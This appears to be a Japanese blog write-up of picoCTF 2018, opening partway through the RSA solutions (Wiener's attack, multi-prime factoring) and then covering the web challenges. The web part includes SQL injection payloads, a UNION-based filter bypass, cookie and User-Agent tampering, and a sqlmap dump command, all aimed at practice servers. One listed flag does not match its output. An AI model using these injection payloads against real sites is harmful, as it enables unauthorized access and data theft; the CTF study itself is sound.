    c = 37387925706299887988807597969592874405122472546532517291961021119819638643790973393550249580818754115056358666265075068280815261293064369821682763503666377706877846212789410720267962304506069919346315978332435305621606682564438477006652686147369852730410105272380648042992677048294641209398724334954133432228
    n = 63077957037934935341227572929995254565680644759169499703819153909121991447078953877325959798681729272157579012601957115687921888781191701045447326617846201271658433913534938685175471096481583702065017512681309055288440576349117830392430063665706786284344844848310544783930682661972693701222932483974528214421
    e = 52648539419443656226261340416004248287185817919210992314244038298714955737166270290730538885632379768928875742990061433773975238998122697695759864096965137020101838409616922596845976724393784055062993422652586661787336121784336273071156953454684734345903504440803713999855530184777809305216997999524795846429

    d = wieners_attack(e, n)
    m = pow(c, d, n)
    print(m)
    print(codecs.decode(('%x'%m),'hex_codec'))
> python solve.py
264003602020102370693041857442610586342633199683725005643958437442448465210344626586049655752028764806997162365
b'picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_6498999}'

picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_6498999}

Super Safe RSA 3 - Points: 600

The more primes, the safer.. right.?.? Connect with nc 2018shell1.picoctf.com 55431.

アプローチ:Multi-Prime RSA

> nc 2018shell1.picoctf.com 55431
c: 6284728909736068686781042350032022711275028823301781180330785203125231332728727968643369066551125332455388999940520293731837668350367036978931899952068079553932753341491822687740866919455649238888041005527092011535647973767941879913564011872584207282493959651272956346317956534890056471560618411661553251
n: 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251
e: 65537

問題文的にMulti-Prime RSAかなと思ったのでmsieveなら素因数分解してくれると信じて1012bitあるnを投げました.

 ./msieve -e -q -v 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251


Msieve v. 1.53 (SVN Unversioned directory)
Wed Oct  3 03:08:33 2018
random seeds: 25c78b0d 3f0ecafc
factoring 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251 (305 digits)
no P-1/P+1/ECM available, skipping
commencing quadratic sieve (87-digit input)
using multiplier of 3
using generic 32kb sieve core
sieve interval: 17 blocks of size 32768
processing polynomials in batches of 12
using a sieve bound of 1467283 (56000 primes)
using large prime bound of 117382640 (26 bits)
using double large prime bound of 335186832815840 (41-49 bits)
using trial factoring cutoff of 49 bits
polynomial 'A' values have 11 factors

sieving in progress (press Ctrl-C to pause)
56286 relations (16033 full + 40253 combined from 584345 partial), need 56096
56286 relations (16033 full + 40253 combined from 584345 partial), need 56096
sieving complete, commencing postprocessing
begin with 600378 relations
reduce to 133352 relations in 10 passes
attempting to read 133352 relations
recovered 133352 relations
recovered 112670 polynomials
attempting to build 56286 cycles
found 56286 cycles in 5 passes
distribution of cycle lengths:
   length 1 : 16033
   length 2 : 11206
   length 3 : 10077
   length 4 : 7173
   length 5 : 4954
   length 6 : 3051
   length 7 : 1808
   length 9+: 1984
largest cycle: 19 relations
matrix is 56000 x 56286 (13.8 MB) with weight 3156085 (56.07/col)
sparse part has weight 3156085 (56.07/col)
filtering completed in 3 passes
matrix is 51220 x 51284 (12.6 MB) with weight 2903380 (56.61/col)
sparse part has weight 2903380 (56.61/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 51172 x 51284 (8.1 MB) with weight 2242595 (43.73/col)
sparse part has weight 1623572 (31.66/col)
using block size 8192 and superblock size 786432 for processor cache size 8192 kB
commencing Lanczos iteration
memory use: 5.0 MB
lanczos halted after 811 iterations (dim = 51170)
recovered 24 nontrivial dependencies
p10 factor: 2219154557
p10 factor: 2387104061
p10 factor: 2405378527
p10 factor: 2544479083
p10 factor: 2613094949
p10 factor: 2799315227
p10 factor: 2816791123
p10 factor: 2834061889
p10 factor: 2844201319
p10 factor: 2928527267
p10 factor: 3003211697
p10 factor: 3016457393
p10 factor: 3028023013
p10 factor: 3053973581
p10 factor: 3117707869
p10 factor: 3118037621
p10 factor: 3420176147
p10 factor: 3447509633
p10 factor: 3449299361
p10 factor: 3505616701
p10 factor: 3638264291
p10 factor: 3671514991
p10 factor: 3822896303
p10 factor: 3828803843
p10 factor: 3886043443
p10 factor: 3890108207
p10 factor: 3923927089
p10 factor: 4018202273
p10 factor: 4120111301
p10 factor: 4201294343
p10 factor: 4233470149
p10 factor: 4254827363
elapsed time 00:10:54

11分弱待つと32個の素数を得ることができました.

あとはtotient(n)の生成を一工夫してdを計算すればflagがとれます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import gmpy
import codecs

if __name__ == '__main__':
    c = 6284728909736068686781042350032022711275028823301781180330785203125231332728727968643369066551125332455388999940520293731837668350367036978931899952068079553932753341491822687740866919455649238888041005527092011535647973767941879913564011872584207282493959651272956346317956534890056471560618411661553251
    n = 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251
    e = 65537
    multi_primes = [2219154557, 2387104061 ,2405378527 ,2544479083 ,2613094949 ,2799315227 ,2816791123 ,2834061889 ,2844201319 ,2928527267 ,3003211697 ,3016457393 ,3028023013 ,3053973581 ,3117707869 ,3118037621 ,3420176147 ,3447509633 ,3449299361 ,3505616701 ,3638264291 ,3671514991 ,3822896303 ,3828803843 ,3886043443 ,3890108207 ,3923927089 ,4018202273 ,4120111301 ,4201294343 ,4233470149 ,4254827363]

    phi = 1

    for x in multi_primes:
        phi *= (x - 1)

    d = gmpy.invert(e, phi)
    m = pow(c, d, n)
    print(m)
    print(codecs.decode(('%x'%m),'hex_codec'))
> python solve.py
13016382529449106065908111207362094589157720258852086801305724803301206193158525
b'picoCTF{p_&_q_n0_r_$_t!!_5280799}'

picoCTF{p_&_q_n0_r_$_t!!_5280799}

まとめ

  • Cryptographyは解いてて学びがありますね
  • RSA関連の問題はそこそこ解けるようになったと思う
  • 逆にAES関連の問題は1問も解けなかったので他の人のWrite-up読んで勉強したい
  • まだ難しい問題は解けていないので暗号全般の勉強を続けていきたい

picoCTF 2018 Write-up [Web Exploitation]

まえがき

前回の続きです.
今回はWeb ExploitationのWrite-upを書こうと思います.

satto.hatenadiary.com

Web Exploitation

Inspect Me - Points: 125

Inpect this code! http://2018shell1.picoctf.com:35349

アプローチ:Chromeデベロッパーツールを使う

デベロッパーツールを使い,htmlcssソースコードを確認するとコメントとしてflagの断片があります.

html
picoCTF{ur_4_real_1nspe
css
ct0r_g4dget_098df0d0}

picoCTF{ur_4_real_1nspect0r_g4dget_098df0d0}

Client Side is Still Bad - Points: 150

I forgot my password again, but this time there doesn't seem to be a reset, can you help me? Super Secure Log In

アプローチ:クライアントサイドのソースコードを確認

デベロッパーツールでスクリプトを確認すると以下のようなコードがあり,簡単にパスワードが判明します.

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
      if (checkpass.substring(split*6, split*7) == 'd366') {
        if (checkpass.substring(split*5, split*6) == 'd_3b') {
         if (checkpass.substring(split*4, split*5) == 's_ba') {
          if (checkpass.substring(split*3, split*4) == 'nt_i') {
            if (checkpass.substring(split*2, split*3) == 'clie') {
              if (checkpass.substring(split, split*2) == 'CTF{') {
                if (checkpass.substring(0,split) == 'pico') {
                  alert("You got the flag!")
                  }
                }
              }
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
  }
</script>

picoCTF{client_is_bad_3bd366}

Logon - Points: 150

I made a website so now you can log on to! I don't seem to have the admin password. See if you can't get to the flag. My New Website

アプローチ:cookieの書き換え

とりあえずadminでログインしようとすると

I'm sorry the admin password is super secure. You're not getting in that way.

適当なUID,PASSでログイン(a,a)しようとすると

Success: You logged in! Not sure you'll be able to see the flag though.
No flag for you

と言われます.

そこでデベロッパーツールを開いてcookieを確認します.
adminFalseで保存されていることに気づきます.
Trueに書き換えてリロードします.
picoCTF{l0g1ns_ar3nt_r34l_2a968c11}

Irish Name Repo - Points: 200

There is a website running at http://2018shell1.picoctf.com:52012 (link). Do you think you can log us in? Try to see if you can login!

アプローチ:SQLi

Support画面を見てみると以下のような記述があります.

Cannot add name Hi. I tried adding my favorite Irish person, Conan O'Brien. But I keep getting something called a SQL Error That's because Conan O'Brien is American.

シングルクォーテーションでSQL Errorがでてることが分かります.
なのでAdmin Log InフォームのUsername:' or 1 = 1 --すると

Logged in!
Your flag is: picoCTF{con4n_r3411y_1snt_1r1sh_c0d93e2f}

picoCTF{con4n_r3411y_1snt_1r1sh_c0d93e2f}

Mr. Robots - Points: 200

Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell1.picoctf.com:10157 (link)

アプローチ:robots.txt

問題文的にrobots.txtのことだと思ったので/robots.txtを見に行きます.

User-agent: *
Disallow: /143ce.html

/143ce.htmlが怪しいことが分かるのでアクセスしてみます.

So much depends upon a red flag
picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_143ce}

picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_143ce}

No Login - Points: 200

Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell1.picoctf.com:52920(link)

アプローチ:cookieの追加

webページに移動するとFlagボタンがあるのでおしてみると

I'm sorry it doesn't look like you are the admin.

flagのレスポンスヘッダを確認してみるとVary: Cookieとなっています.
cookie次第で表示内容を変えているようです.

とりあえずadminというcookieを値1で追加してみます.

Flag:
picoCTF{n0l0g0n_n0_pr0bl3m_3184f702}

picoCTF{n0l0g0n_n0_pr0bl3m_3184f702}

結構な悪問なのでは?(エスパーが必要なため)

Secret Agent - Points: 200

Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell1.picoctf.com:11421 (link)

アプローチ:UserAgentの変更

FlagボタンをクリックするとUserAgentが表示されることが分かります.

You're not google! Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

You're not google!

と言われてるのでUAを変更します.

Chromeなら
デベロッパーツール -> More tools -> Network conditions -> User agent で変更できます

UAGooglebotに変更して再度ボタンをクリックすると

picoCTF{s3cr3t_ag3nt_m4n_ed3fe08d}

Buttons - Points: 250

There is a website running at http://2018shell1.picoctf.com:21579(link) . Try to see if you can push their buttons.

アプローチ:POST

  1. 1つめのボタンを押す
  2. 2つめのボタンのページ
  3. 2つめのボタンを押す
  4. boo.htmlにとばされる

2つの違いは
<form action="button1.php" method="POST">
<a href="button2.php">Button2</a>
なのでbutton2.phpに対してPOSTをなげます.

> curl -X POST http://2018shell1.picoctf.com:21579/button2.php
Well done, your flag is: picoCTF{button_button_whose_got_the_button_ed306c10}%

picoCTF{delusions_about_finding_values_3cc386de}

The Vault - Points: 250

There is a website running at http://2018shell1.picoctf.com:64349 (link) . Try to see if you can login!

<?php
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  include "config.php";
  $con = new SQLite3($database_file);

  $username = $_POST["username"];
  $password = $_POST["password"];
  $debug = $_POST["debug"];
  $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";

  if (intval($debug)) {
    echo "<pre>";
    echo "username: ", htmlspecialchars($username), "\n";
    echo "password: ", htmlspecialchars($password), "\n";
    echo "SQL query: ", htmlspecialchars($query), "\n";
    echo "</pre>";
  }

  //validation check
  $pattern ="/.*['\"].*OR.*/i";
  $user_match = preg_match($pattern, $username);
  $password_match = preg_match($pattern, $username);
  if($user_match + $password_match > 0)  {
    echo "<h1>SQLi detected.</h1>";
  }
  else {
    $result = $con->query($query);
    $row = $result->fetchArray();

    if ($row) {
      echo "<h1>Logged in!</h1>";
      echo "<p>Your flag is: $FLAG</p>";
    } else {
      echo "<h1>Login failed.</h1>";
    }
  }

?>

アプローチ:UNION

コードから普通にSQLiしようとするとvalidation checkORが引っかかることが分かります. なので今回はUNIONを使います.

' UNION SELECT 1 FROM users -- とするとvalidation checkを回避できます.

picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}

A Simple Question - Points: 650

There is a website running at http://2018shell1.picoctf.com:2644 (link). Try to see if you can answer its question.

アプローチ:Blind SQLi

'を入力

SQL query: SELECT * FROM answers WHERE answer='''

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'''" in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php on line 15

Fatal error: Uncaught Error: Call to a member function fetchArray() on boolean in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php:17 Stack trace: #0 {main} thrown in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php on line 17

' or 1=1 --を入力

SQL query: SELECT * FROM answers WHERE answer='' or 1=1 --'
You are so close.

aを入力

SQL query: SELECT * FROM answers WHERE answer='a'
Wrong.

answerクエリがTrueになったときの反応が通常入力と異なることが分かります.
Blind SQLiチャンスですね.

ゆとりなのでsqlmapを使います.
スクリプト書いたほうが汎用性があると思います.

> sqlmap -u "http://2018shell1.picoctf.com:2644/answer2.php" --data="answer=1" -T answers --dump

~~略~~

[00:23:45] [INFO] retrieved: 41AndSixSixths
Database: SQLite_masterdb
Table: answers
[1 entry]
+----------------+
| answer         |
+----------------+
| 41AndSixSixths |
+----------------+

answer41AndSixSixthsであることが分かります.

SQL query: SELECT * FROM answers WHERE answer='41AndSixSixths'
Perfect!
Your flag is: picoCTF{qu3stions_ar3_h4rd_28fc1206}

picoCTF{qu3stions_ar3_h4rd_28fc1206}

まとめ

  • web問難しくて全然とけない
  • 前提知識がかなり必要になってくるので分からない問題はアプローチすら浮かばない
  • がんばる